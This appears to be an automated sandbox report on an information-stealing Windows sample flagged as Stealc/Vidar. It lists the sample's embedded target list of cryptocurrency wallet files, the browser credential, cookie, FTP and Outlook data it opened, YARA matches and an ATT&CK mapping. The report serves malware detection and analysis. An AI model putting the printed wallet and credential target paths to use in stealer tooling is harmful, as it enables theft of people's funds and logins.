Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.conf.jsonr
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.jsonB
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: NJna3TEAEr.exe PID: 1220, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: NJna3TEAEr.exe, type: SAMPLE
Source: Yara match	File source: 0.0.NJna3TEAEr.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NJna3TEAEr.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2009593199.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NJna3TEAEr.exe PID: 1220, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: NJna3TEAEr.exe PID: 1220, type: MEMORYSTR

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C7C0C40 sqlite3_bind_zeroblob,	0_2_6C7C0C40
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C7C0D60 sqlite3_bind_parameter_name,	0_2_6C7C0D60
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6E8EA0 sqlite3_clear_bindings,	0_2_6C6E8EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 Process Injection	1 Masquerading	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	21 Security Software Discovery	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	144 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

